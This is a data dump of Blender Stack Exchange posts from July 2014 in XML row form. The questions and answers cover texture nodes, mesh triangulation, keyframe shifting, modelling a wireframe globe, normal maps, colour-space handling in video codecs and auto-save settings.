  <row Id="14397" PostTypeId="2" ParentId="14394" CreationDate="2014-07-26T16:32:47.630" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UXn1l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXn1l.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The &lt;em&gt;Brick&lt;/em&gt; texture node makes the grid texture.&lt;br&gt;&#xA;The settings to change in the &lt;em&gt;Brick&lt;/em&gt; texture node are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;both &lt;em&gt;Frequency&lt;/em&gt; fields, set to 1&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;brick width&lt;/em&gt; and &lt;em&gt;Row height&lt;/em&gt; must match to get squares.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Mortar size&lt;/em&gt; to set how thick the lines are. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Camera&lt;/em&gt; socket of the &lt;em&gt;Texture Coordinates&lt;/em&gt; node, sets the mapping to match the camera. Thus the grid will be straight.&lt;br&gt;&#xA;The &lt;em&gt;Mix&lt;/em&gt; node is used to overlay the grid over any shader you already have on the object. It works from the &lt;em&gt;Fac&lt;/em&gt; output from the brick texture. white = 1, and black = 0 so where ever there is black in the grid it will use the bottom shader, and whereever there is white (where the bricks would go) it will use the top input of the &lt;em&gt;Mix shader&lt;/em&gt;. The brown &lt;em&gt;Diffuse&lt;/em&gt; node would be the underlying shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those nodes will render this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cEVGw.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-26T16:42:13.500" LastActivityDate="2014-07-26T16:42:13.500" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14398" PostTypeId="2" ParentId="14371" CreationDate="2014-07-26T18:03:38.653" Score="1" Body="&lt;p&gt;It is always a bad idea to use quads... especially when it comes to games where you have physics and collision calculations. Everything will get converted to triangles anyway, for optimisation and accuracy purposes.&#xA;I couldn't exactly understand what the exact problem was, but whatever it is it would have something to do with the quads.&lt;br&gt; &#xA;Always triangulate before you use your mesh for simulation.&#xA;And if it is just because of this guys script that you keep a quad surface, then either edit the script that it takes in a triangulated mesh, or find a different LevelOfDetail (LOD) script.&lt;br&gt;&#xA;PS: I am pretty sure he would be converting to trinagles somewhere in the script anyway, as it is not possible to get continuous LOD with quads&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-26T18:03:38.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14399" PostTypeId="2" ParentId="14357" CreationDate="2014-07-26T18:19:27.710" Score="3" Body="&lt;p&gt;Well this is not too straightforward, especially if you would like a very realistic result. For more realism I would recommend using &lt;a href=&quot;http://archive.blender.org/development/release-logs/blender-244/subsurface-scattering/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;subsurface scattering&lt;/a&gt; to achieve such an effect.&lt;br&gt;&#xA;I suggest you start off with translucency as &lt;a href=&quot;https://blender.stackexchange.com/users/3127/giantcowfilms&quot;&gt;GiantCowFilms&lt;/a&gt; suggested. Here is a simple configuration that you can start with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MiGgK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?243715-Cycles-semi-transparent-material&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Image from Daccy, BlenderArtists)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: You would need a few separate passes (masks) as some of parts of that flag are more translucent than others and some are not at all...&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-07-18T00:04:26.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="1" CreationDate="2014-07-26T19:16:05.677" Score="5" ViewCount="1454" Body="&lt;p&gt;I'm trying to make a fake AO shader using nodes, which gives the color of the AO rather than a closure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be pretty easy to get the ray length of reflection rays and map that to 0-1 for use as the surface color, however it seems shaders mixed based on &lt;em&gt;is reflection ray&lt;/em&gt; only affect reflection rays and can't affect the object as seen from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHXVi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above node setup affects the color of the object as &quot;seen&quot; by rays reflected off the floor plane, but not for camera rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use the length of the the reflection ray in the example below to set the color of the object as seen by direct camera rays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIuX0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-26T19:44:58.060" LastActivityDate="2015-08-30T05:27:45.353" Title="How to get length of specific ray type and use that as color?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="2" ParentId="14373" CreationDate="2014-07-26T19:41:09.423" Score="1" Body="&lt;p&gt;The first thing I suggest is turn off autoscale and do the scaling with a Transform node in the compositor, that way you'll have more control on the final output and composition.&#xA;You do have access to the Tracker information by adding a &lt;strong&gt;Track Position&lt;/strong&gt; node and manually typing the name of the tracker you want to use. (Keep in mind that that same tracker has to be part of the set of trackers used for the 2D stabilization)&#xA;Some manual positioning might be necessary to place the mask on the right place, but after that the mask should follow the stabilized footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a possible Node arrangement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojLVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-26T19:47:32.703" LastActivityDate="2014-07-26T19:47:32.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14402" PostTypeId="1" CreationDate="2014-07-26T21:37:28.123" Score="8" ViewCount="8947" Body="&lt;p&gt;I want to insert 20 frames into the beginning of the animation so that I can make adjustments. Is there anyway to do this or do I need to shift every object that I have animated over 20 frames? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the time line there appears to be negative frames but I can't access those is there anyway I could start my animation at the -20th frame? That would solve my problem&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorUserId="3127" LastEditDate="2014-07-29T17:24:45.967" LastActivityDate="2017-07-14T06:00:59.327" Title="Inserting frames into time line" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14403" PostTypeId="2" ParentId="14402" CreationDate="2014-07-26T21:43:57.273" Score="9" Body="&lt;p&gt;Go into the &lt;em&gt;Dope Sheet&lt;/em&gt; and select all your keyframes (&lt;kbd&gt;A&lt;/kbd&gt;), then move them 20 frames (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;20&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Dope Sheet&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b3wm4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-07-26T22:17:45.127" LastActivityDate="2014-07-26T22:17:45.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14404" PostTypeId="1" AcceptedAnswerId="14406" CreationDate="2014-07-26T22:21:12.733" Score="7" ViewCount="6623" Body="&lt;p&gt;What would be the way to model a globe with a wireframe that is formed from face loops and at the same time to have the continents that are not a wireframe shape, however the continents to have outlines of the countries. Just like on the image below  - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/9J4R1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - Whatever the approach,the end result to be a continuous geometry. By that I mean - I don't want the spherical shape with the wireframe face loops to be a full sphere underneath the continents, but I want them to be in a continuous geometry with the continents. How can I achieve that result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When unwrapping a sphere on to a black and white earth map, is there a way to turn the white on the mapped polygons into a geometry? &#xA;Or if I use the displace modifier, is there a way to remove the non displaced area (the oceans)?&#xA;Or maybe when using an alpha map, can the oceans be removed?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-05T01:13:03.117" LastActivityDate="2014-08-05T15:15:25.433" Title="How to model a wireframe globe?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14405" PostTypeId="1" AcceptedAnswerId="14412" CreationDate="2014-07-26T22:43:56.330" Score="1" ViewCount="891" Body="&lt;p&gt;How do I deform a curve or a mesh using the mesh deform modifiers and key frames. Basically, I'm trying to bind the curve to the mesh when the mesh at its Basis key. I then turn up the influence on another key(on the mesh). The curve does not deform.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-27T13:31:53.507" LastActivityDate="2014-07-27T13:31:53.507" Title="Mesh deform a curve with shape keys" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14406" PostTypeId="2" ParentId="14404" CreationDate="2014-07-26T23:13:28.797" Score="3" Body="&lt;p&gt;You will need two separate techniques for the above image...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A wireframe sphere - follow this &lt;a href=&quot;http://www.blenderguru.com/tutorials/quick-tip-how-to-make-a-wireframe-render/#.U9Q1LCtDvtM&quot; rel=&quot;nofollow noreferrer&quot;&gt;quick-tip tutorial&lt;/a&gt; from blenderguru&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) For the continents - Apply a height map of the world (just a black and white - continents white, oceans and borders b/n continents black) to a high-poly sphere, as a displacement modifier, and the continents will emerge, being displaced (make sure outwards). &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a texture, but this doesn't have the borders b/n countries. Also get a better resolution.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C3xMl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you will have something looking like this: &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ImGV8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create a new sphere at the same position and scale it, just a slight bit, so that it covers the 'oceans' of the first sphere. Then select the first sphere, create a boolean modifier &gt;&gt; difference &gt;&gt; sphere2.&lt;br&gt;&#xA;This way you will have your continents cropped out quick and easy, like so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wPF8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then simply overlay that geometry onto your wireframe sphere model that you have created earlier, and voila.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5341" LastEditDate="2014-07-27T09:42:58.280" LastActivityDate="2014-07-27T09:42:58.280" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14407" PostTypeId="2" ParentId="14387" CreationDate="2014-07-27T00:58:48.157" Score="8" Body="&lt;p&gt;Sorry for any trouble, but I was able to find the answer in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Normal_Map&quot; rel=&quot;noreferrer&quot; title=&quot;Normal Map node&quot;&gt;one of the Blender docs&lt;/a&gt;. The real culprit was the &lt;code&gt;Image Texture&lt;/code&gt; I was using for &lt;code&gt;body_normals.png&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(&lt;strong&gt;emphasisis&lt;/strong&gt; added by me) &lt;br /&gt;&#xA;  Generate a perturbed normal from an RGB normal map image. This is usually chained with an Image Texture node in the color input, to specify the normal map image. &lt;strong&gt;For tangent space normal maps&lt;/strong&gt;, the UV coordinates for the image must match, and the &lt;strong&gt;image texture should be set to Non-Color mode to give correct results&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess I must have skipped over this part in this project. Switching to &lt;code&gt;Non-Color&lt;/code&gt; data in the &lt;code&gt;Image Texture&lt;/code&gt; fixed my problem :). Now there is are no hard-edged polygon shading weirdness anymore.&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="4829" LastEditDate="2014-07-29T01:21:14.107" LastActivityDate="2014-07-29T01:21:14.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="2" ParentId="14404" CreationDate="2014-07-27T01:18:18.687" Score="2" Body="&#xA;&lt;p&gt;You can create a wireframe sphere pretty easily:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a UV sphere (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Add &amp;gt; Mesh &amp;gt; Sphere&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a wireframe modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gqQrI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-27T01:18:18.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14409" PostTypeId="2" ParentId="12262" CreationDate="2014-07-27T02:10:41.040" Score="5" Body="&lt;h2&gt;Observation is a Start&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's much knowledge in between your observation (&quot;color changes a little bit&quot;) and the &quot;whys&quot; your observation manifests. Seeing as how this is a Blender forum, and most folks are intermediate to advanced, I will delve into some of the whys with the hope that you expand your colour knowledge and help to educate others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, unless we have done some dark alchemy via OpenColorIO, our image will be exiting Blender as an RGB based tri-colour model. So factoid number one: RGB &lt;em&gt;is a relative colour system&lt;/em&gt;. But what does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we take a flash light and cut some plastic of red, blue, and green transparency, we could cover our flash light with the plastic. This would deliver a coloured light of course. But what colour? That is precisely the question to ask when someone starts speaking in terms of values like 0xE3E5E7, which is nothing more than a hex value representing a numerical value relative to the RGB colour space in question. In this case, Blender assumes sRGB / 709 primaries. That is, the &lt;em&gt;absolute&lt;/em&gt; colours referenced are relative to the sRGB or 709 specification. If our colour spaces are not aligned, despite having identical RGB values, the colours we look at will not be the same.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Into YCbCr&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When we render the colours to a codec format, in most instances we are performing a transformation of the data into the codec model's format. Typically, most codecs will store data in a very different model compared to RGB, often being YCbCr. The YCbCr model extracts / isolates the luma from the curved RGB values and stores it in Y. The Cb and Cr values then represent two axes that stretch along yellow-blue (Cb) and green-red (Cr). A very different model with a unique transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the codec format typically requires a scaling of the ranges to meet broadcast specification standards. This is nothing more than shrinking the values to a smaller range via a scale, and then offsetting the values slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, due to the human eye generally being less receptive to colour as compared to intensity, a codec will often scale down the Cb and Cr channels to make the codec smaller in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth, the codec will likely compress all of this data even further using some form of lossy encoding standard, although it may also be lossless.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;When Encoding Doesn't Match Decoding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Needless to say, the above steps outline a varying number of potentially complex transformations to get your RGB data out of the RGB model and into the YCbCr model. If any &lt;strong&gt;&lt;em&gt;one&lt;/em&gt;&lt;/strong&gt; of those steps is incorrectly handled by encoding or decoding, your results will vary quite dramatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the simple question is &quot;Given all of the above maze-like transforms that happen, can I get anything close to my original RGB image?&quot; and the answer is unequivocally &quot;Yes!&quot; Can you do it with a simple click of a Blender render button? The chances are likely &quot;No.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume we do a perfect encode of our material, what then? Then we are relying on the exact inverse of all of the above transformations to end up back with our perfect RGB values&lt;sup&gt;1&lt;/sup&gt;. As you can guess, this only happens when an artist checks their work and the player is perfect. Even then, to achieve real-time playback, a piece of software may hand off the YCbCr stream to the graphics card, and you guessed it, they will often decode things incorrectly for any number of reasons.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Advice&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are interested in achieving a perfect encode, the best advice is become a knowledgeable artist in the realm of colour and pixels. You have taken the first steps in noticing that things aren't quite right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you encode to a series of images and then encode again to your codec, you stand a much better chance of testing your pipeline for accuracy. In particular, because most encoding software may have different design constraints&lt;sup&gt;2&lt;/sup&gt;, they may make different design decisions that result in different results. Therefore, the safest way to handle video is to encode the YCbCr yourself and then pass that raw data to an encoder and test the encoded values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they match, it is out of your hands and into your audience's set of qualitative evaluations at their end to decode it, if this is your goal. If they don't, something went wrong and you can correct it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is a quick outline as to the sad reality of the complexities of your initial, seemingly simple first observation. Controlling the output on the other hand, is relatively easy and will get faster and faster with more knowledge. This is likely beyond the scope of this Stack Exchange answer though, so I'll leave it at that&lt;sup&gt;3&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Quantization errors may be present depending on the many encoding options you choose. Broadcast scaling for example, will necessarily degrade your image due to a reduced number of bits storage.&lt;/li&gt;&#xA;&lt;li&gt;Many video encoders and decoders may target speed of encoding or decoding for quick encoding or speedy playback. Of course this will come at a cost, often times being accuracy due to lower bit depths used to encode or short cuts to achieve playback speed.&lt;/li&gt;&#xA;&lt;li&gt;Feel free to contact me if you want to explore this area. It is possible to encode your data to a bitwise precise encode, subject to quantization / specifications. I should be relatively easy to find.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2016-06-26T00:31:55.937" LastActivityDate="2016-06-26T00:31:55.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="2" ParentId="6554" CreationDate="2014-07-27T02:30:55.227" Score="1" Body="&lt;p&gt;There are three states of an image in Blender: the input state, the reference state, and the output state. While the internal reference space is always a linearized model, the input and output states are variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, if you take a typical JPEG and open it in Blender, the default transfer curve that is assumed is sRGB. That is, it takes the canonized specification of sRGB's transfer curve and inverts it and bends the colours of your JPEG accordingly. This results in, as best as a JPEG can deliver (which is not very good) a radiometrically linear version of the RGB representation. Why? In order to compose and blend colours correctly, colours must be expressed relative to their radiometrically correct luminance. If not, colours will result in very strange blending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now we know why, what happens when things come out of Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all handled via OpenColorIO, and as such, you will need to make sure that your output format handles things correctly. If you are dealing with this via Python, the correct approach is to apply a transformation on the RGB data to whatever output transformation you require. In most instances, you will want to transform from the internal reference linear space to sRGB, which will apply the correct intensity transfer curve to get the RGB back into that typical JPEG intensity curve you began with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are generating files out of Blender, much of this is handled automatically. PNG, JPEG, TIFF, etc. will all perform the sRGB transformation out of the reference space. EXR, however, being a strictly linear storage medium, will leave it in linear, whatever colour space it happened to be in within the reference space.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2014-07-27T02:30:55.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14411" PostTypeId="2" ParentId="14404" CreationDate="2014-07-27T04:37:38.787" Score="4" Body="&lt;p&gt;First I did a quick Google image search using the key words &quot;map of Earth&quot; then copied one that was in square format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I added a UV Sphere then unwrapped it with the following settings.   &lt;img src=&quot;https://i.stack.imgur.com/clCa6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then drag and dropped the image from the hard drive folder into the UV image Editor and scaled the UV Islands up along the Y-axis to get the image to fit better.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Blender Rendering set to Blender Internal and there are some settings on the right that will help you to see the image under the Shading Tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LIKQJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I went back to Object Mode, then clicked over the sphere model to position the cursor onto the surface and added a plane.  In edit mode, I merged the vertices into 1 by using the keyboard shortcut &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; and selecting &lt;em&gt;At Center&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image that follows, you can see one little orange point hovering near the surface of the textured sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now look at the bottom of the 3D View and activate the magnet Tool &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eCk73.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + mouse click to quickly extrude out new vertices all along the continents on the reference model.  (I wrote '&lt;em&gt;mouse-Click&lt;/em&gt;' instead of &lt;em&gt;left-mouse&lt;/em&gt; or &lt;em&gt;right-mouse&lt;/em&gt; because people use different defaults for the right and left click)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4guF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have the outlines done you can start manually choosing sections and adding in faces using &lt;kbd&gt;f&lt;/kbd&gt; &lt;em&gt;Make Face&lt;/em&gt;.&#xA;You'll have to be careful about this part because the model is curved and making one big face will cause problems because it will be a flat surface trying to fit a curved profile.  Try and make the faces in smaller chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the continents are filled in, you can use &lt;kbd&gt;e&lt;/kbd&gt; Extrude to give thickness to the model.  Or you can use the Solidify Modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can delete the reference model with the map on it and replace it with the model that has the Wireframe Modifier on it that is shown in one of the other answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any steps that you have problems with then come back to this site and start a new Question for that specific area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//============================================================================&#xA;Update based on comments.&#xA;//-----------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a height map, I used the downloaded picture of Earth mentioned above and loaded it into GIMP and used the Color/Area Select tool that most programs have and selected the ocean color which selected all the ocean area using default settings.  I then flood filled this area with black.  Then I used color contrast to get the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dV6Bq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I added a second set of UV Coordinates using the following panel,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RjBcJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this because the coordinates for the Spheres poles did not fit into the image area properly and I wanted to paint the poles black to hide the errors that were showing up there form bad mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added the height map made in GIMP as a material texture and baked it to the new coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NItSy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added this in as the material texture and used texture Paint mode to paint out some of the other problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I added this texture in as a height map for a &lt;em&gt;Displace Modifier&lt;/em&gt; which came after a &lt;em&gt;Sub-D Modifier&lt;/em&gt; and at the end I added a &lt;em&gt;Decimate Modifier&lt;/em&gt; with the settings in the following image.(You can right-click the image and choose 'View Image' if you can't see the settings from the preview)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AWToA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I applied the modifiers and and used Circle Select to select all the ocean faces.  Once they were all deleted I was left with the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rjdsP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I added another &lt;em&gt;Decimate Modifier&lt;/em&gt; to clean up the mess and reduce the poly count down to something easily manageable.  I was mostly concerned with cleaning the jagged edges at this point, this produced the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/veY1R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next came the &lt;em&gt;Shrink Wrap Modifier&lt;/em&gt; with the following settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udyky.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with a simple lighting setup, the final render.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RIwUg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Texture Paint to paint in dividing lines then bake a normal map from this to get a bit more detail.  That would be far more straight forward than actually creating geometry to divide various countries, states, provinces, etc...&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-07-27T11:57:44.693" LastActivityDate="2014-07-27T11:57:44.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14412" PostTypeId="2" ParentId="14405" CreationDate="2014-07-27T05:50:51.307" Score="2" Body="&lt;p&gt;A curve is defined by a number of points and the connection between each point is then calculated. Any deform modifier on a curve can only move the points that define the curve, it cannot distort the curve in-between two curve points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the benefits of a mesh deform modifier on a curve you need to be sure that the areas of the mesh that are deformed by shapekeys are surrounding a point in the curve.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-27T05:50:51.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14413" PostTypeId="1" CreationDate="2014-07-27T08:10:39.027" Score="11" ViewCount="24050" Body="&lt;p&gt;How do I get auto saves version saves / recovery to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.71 just lost 15-40 minutes of work when the whole PC crashed.&#xA;I have auto save set to 1-2min. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check the 2 other versions saved and they're both from the 25th.... I was working on the file for 40min to an hour not steady today 27th I try to recover but there's no auto saves for that whole hour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All 3 versions of the file I had (Recover auto save and blend1 blend2) were from 2 days ago not when I was working on it today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of settings mostly default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nWTvbyJ.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5373" LastEditorUserId="2217" LastEditDate="2014-07-28T23:49:44.417" LastActivityDate="2019-05-31T05:54:49.750" Title="How to setup Auto Save?" Tags="&lt;workflow&gt;&lt;customization&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
